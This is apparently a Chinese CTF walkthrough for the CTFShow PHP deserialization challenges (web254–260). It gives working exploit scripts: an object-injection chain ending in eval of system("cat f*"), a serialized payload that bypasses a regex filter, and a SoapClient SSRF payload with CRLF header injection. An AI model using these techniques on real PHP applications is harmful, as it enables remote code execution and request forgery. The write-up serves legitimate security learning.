CTFShow 反序列化
序列化:是将变量转换为可保存或传输的字符串的过程
反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。
notice:序列化只是将变量序列化。
web254
?username=xxxxxx&password=xxxxxx
web255
对ctfshowUser类修改一下得出反序列化后的结果
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public function checkVip(){
return true;
}
public function login($u,$p){
return true;
}
public function vipOneKeyGetFlag(){
echo $flag;
}
}
echo urlencode(serialize(new ctfShowUser));
?>
web256
<?php
class ctfShowUser{
public $username='x';
public $password='y';
public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
?>
把反序列化的结果放入Cookie中
web257
前面之前提到过,序列化只会将变量变成字符串存储,不会对函数有何处理。
还有一个点需要记住,即将一个字符串进行反序列化的时候是不会触发__construct()
函数的,但是会触发__destruct()
函数。
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code='system("cat f*");';
public function getInfo(){
eval($this->code);
}
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
?>
分析(废话连篇)
这里要拿到flag,就必须想办法触发backDoor类的getInfo()
函数,但是题目中默认的是触发info类的getInfo()
函数。
同时,我们注意到,题目中是将info类实例化存储在变量$class
中(通过__construct()
函数),info类被存储的也只有变量$user
,而序列化会将对象中的变量存储成字符串。所以,我们可以像利用跳板一样,利用ctfshowUser类的实例化对象的序列化将backDoor类中的$code
当作字符串存储其中。
web258
preg_match('/[oc]:\d+:/i', $_COOKIE['user'])
php序列化字符串:
O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("cat flag.php");";}}
过滤模版:o:数字: 或者 c:数字:
绕过方法:把原来的1变成+1,2变成+2,......
O:+11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system("cat flag.php");";}}
web259(不好理解)
原生态类&call魔术方法&配合SSRF
php原生类的利用
SoapClient反序列化SSRF
SoapClient原生类在开发以及安全中利用(写的超级好)
CTFshow 反序列化 web259
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
payload语句
<?php
$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));
print_r(urlencode(serialize($client)));
location填写我们想要访问网站的地址。
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
序列化函数对字符串也可以执行序列化
<?=
$sites = 'ctfshow_i_love_36D';
$serialized_data = serialize($sites);
echo $serialized_data . PHP_EOL;
//s:18:"ctfshow_i_love_36D";
?>
直接传一个ctfshow=ctfshow_i_love_36D